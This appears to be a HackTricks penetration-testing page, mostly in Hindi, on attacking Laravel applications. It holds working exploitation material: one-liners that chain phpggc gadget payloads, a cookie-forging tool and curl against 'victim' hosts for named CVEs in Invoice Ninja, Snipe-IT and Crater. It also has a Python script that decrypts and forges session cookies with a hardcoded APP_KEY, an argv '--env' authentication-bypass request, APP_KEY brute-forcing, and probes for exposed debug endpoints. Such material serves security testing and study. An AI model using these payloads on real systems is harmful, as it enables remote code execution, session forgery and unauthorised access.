Laravel
Reading time: 11 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Laravel SQLInjection
इस बारे में जानकारी पढ़ें: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY और एन्क्रिप्शन इंटरनल्स (Laravel \u003e=5.6)
Laravel बैकएंड में AES-256-CBC (या GCM) और HMAC इंटीग्रिटी के साथ उपयोग करता है (Illuminate\\Encryption\\Encrypter
)।
अंततः कच्चा ciphertext जो क्लाइंट को भेजा जाता है, वह Base64 of a JSON object जैसा होता है:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
डिफ़ॉल्ट रूप से सादा टेक्स्ट को serialize()
करेगा, जबकि
decrypt($payload, $unserialize=true)
डिक्रीप्ट किए गए मान को स्वतः unserialize()
करेगा।
इसलिए कोई भी attacker जो 32-byte secret APP_KEY
जानता है वह एक encrypted PHP serialized object बना सकता है और magic methods (__wakeup
, __destruct
, …) के जरिए RCE हासिल कर सकता है।
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
उत्पन्न स्ट्रिंग को किसी भी कमजोर decrypt()
sink (route param, cookie, session, …) में इंजेक्ट करें।
laravel-crypto-killer 🧨
laravel-crypto-killer पूरी प्रक्रिया को स्वचालित करता है और एक सुविधाजनक bruteforce मोड जोड़ता है:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
वास्तविक दुनिया के कमजोर पैटर्न
Project | Vulnerable sink | Gadget chain |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session cookie | Laravel/RCE15 |
The exploitation workflow is always:
- 32-byte
APP_KEY
प्राप्त करें या ब्रूट-फोर्स करें। - PHPGGC के साथ एक gadget chain बनाएं (उदाहरण के लिए
Laravel/RCE13
,Laravel/RCE9
याLaravel/RCE15
)। - सिरीयलाइज़्ड gadget को laravel_crypto_killer.py और पुनः प्राप्त
APP_KEY
से encrypt करें। - सिफरटेक्स्ट को कमजोर
decrypt()
sink (route parameter, cookie, session …) पर भेजें ताकि RCE ट्रिगर हो।
नीचे संक्षिप्त one-liners दिए गए हैं जो ऊपर बताए गए प्रत्येक वास्तविक CVE के लिए पूरा attack path दिखाते हैं:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
बड़े पैमाने पर APP_KEY खोज (cookie brute-force के माध्यम से)
क्योंकि हर नए Laravel response कम से कम 1 एन्क्रिप्टेड cookie (XSRF-TOKEN
और आमतौर पर laravel_session
) सेट करता है, public internet scanners (Shodan, Censys, …) leak millions of ciphertexts जो offline में हमला किए जा सकते हैं।
Synacktiv (2024-2025) द्वारा प्रकाशित रिसर्च के मुख्य निष्कर्ष:
- Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
- Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
-
1 000 servers अभी भी legacy CVE-2018-15133 के प्रति vulnerable हैं क्योंकि tokens सीधे serialized data contain करते हैं।
- Huge key reuse – Top-10 APP_KEYs hard-coded defaults हैं जो commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …) के साथ shipped होते हैं।
Private Go tool nounours AES-CBC/GCM bruteforce throughput को ~1.5 billion tries/s तक पहुंचाता है, जिससे पूरे dataset का cracking <2 minutes में हो जाता है।
CVE-2024-52301 – HTTP argv/env override → auth bypass
जब PHP का register_argc_argv=On
(कई distros पर typical) होता है, PHP query string से derived HTTP requests के लिए एक argv
array expose करता है। हालिया Laravel versions इन “CLI-like” args को parse करते थे और runtime पर --env=<value>
को मानते थे। इसका मतलब है कि आप केवल इसे किसी भी URL के साथ जोड़कर current HTTP request के लिए framework environment flip कर सकते हैं:
-
Quick check:
-
Visit
https://target/?--env=local
या कोई भी string खोलें और environment-dependent परिवर्तन देखें (debug banners, footers, verbose errors)। यदि string reflect होता है, तो override काम कर रहा है। -
Impact example (business logic trusting a special env):
-
यदि app में ऐसी branches हैं जैसे
if (app()->environment('preprod')) { /* bypass auth */ }
, तो आप valid creds के बिना authenticate कर सकते हैं login POST भेजकर: -
POST /login?--env=preprod
-
Notes:
-
हर-request के लिए काम करता है, कोई persistence नहीं।
-
Requires
register_argc_argv=On
और एक vulnerable Laravel version जो HTTP के लिए argv पढ़ता है। -
एक उपयोगी primitive है जो “debug” envs में अधिक verbose errors surface करने या environment-gated code paths trigger करने में काम आता है।
-
Mitigations:
-
PHP-FPM/Apache के लिए
register_argc_argv
को Disable करें। -
Laravel को upgrade करें ताकि HTTP requests पर argv ignore किया जाए और production routes में
app()->environment()
से जुड़ी किसी भी trust assumption को हटा दिया जाए।
Minimal exploitation flow (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
Laravel युक्तियाँ
डिबगिंग मोड
यदि Laravel debugging mode में है तो आप code और sensitive data तक पहुँच पाएंगे।
उदाहरण के लिए http://127.0.0.1:8000/profiles
:
यह आमतौर पर अन्य Laravel RCE CVEs को exploit करने के लिए आवश्यक होता है।
फिंगरप्रिंटिंग और खुले dev endpoints
Production में Laravel stack और खतरनाक dev tooling के खुले होने की पहचान के लिए त्वरित जांचें:
/_ignition/health-check
→ Ignition मौजूद है (debug tool जो CVE-2021-3129 में इस्तेमाल हुआ था). यदि बिना authentication के पहुँचने योग्य है, तो ऐप debug मोड में हो सकता है या misconfigured हो सकता है।/_debugbar
→ Laravel Debugbar assets; अक्सर debug मोड का संकेत देता है।/telescope
→ Laravel Telescope (dev monitor). यदि public है, तो व्यापक जानकारी के खुलासे और संभावित actions की उम्मीद करें।/horizon
→ Queue dashboard; संस्करण का खुलासा और कभी-कभी CSRF-प्रोटेक्टेड actions।X-Powered-By
, cookiesXSRF-TOKEN
औरlaravel_session
, और Blade error pages भी fingerprinting में मदद करते हैं।
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel उस APP को .env
नाम की फ़ाइल में सहेजता है जिसका उपयोग cookies और अन्य credentials को encrypt करने के लिए किया जाता है। यह फ़ाइल path traversal के माध्यम से /../.env
के तहत एक्सेस की जा सकती है।
Laravel यह जानकारी debug page में भी दिखाएगा (यह तब दिखाई देता है जब Laravel कोई error पाता है और यह सक्रिय होता है)।
Laravel के secret APP_KEY का उपयोग करके आप cookies को decrypt और re-encrypt कर सकते हैं:
Decrypt Cookie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
Laravel Deserialization RCE
प्रभावित संस्करण: 5.5.40 और 5.6.x से 5.6.29 तक (https://www.cvedetails.com/cve/CVE-2018-15133/)
इस deserialization vulnerability के बारे में जानकारी यहाँ पाई जा सकती है: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
आप इसे परीक्षण और exploit करने के लिए https://github.com/kozmic/laravel-poc-CVE-2018-15133\ या आप metasploit का उपयोग करके भी इसे exploit कर सकते हैं: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
एक और deserialization: https://github.com/ambionics/laravel-exploits
संदर्भ
- Laravel: APP_KEY leakage analysis (EN)
- Laravel : analyse de fuite d’APP_KEY (FR)
- laravel-crypto-killer
- PHPGGC – PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
- CVE-2024-52301 advisory – Laravel argv env detection
- CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
- 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।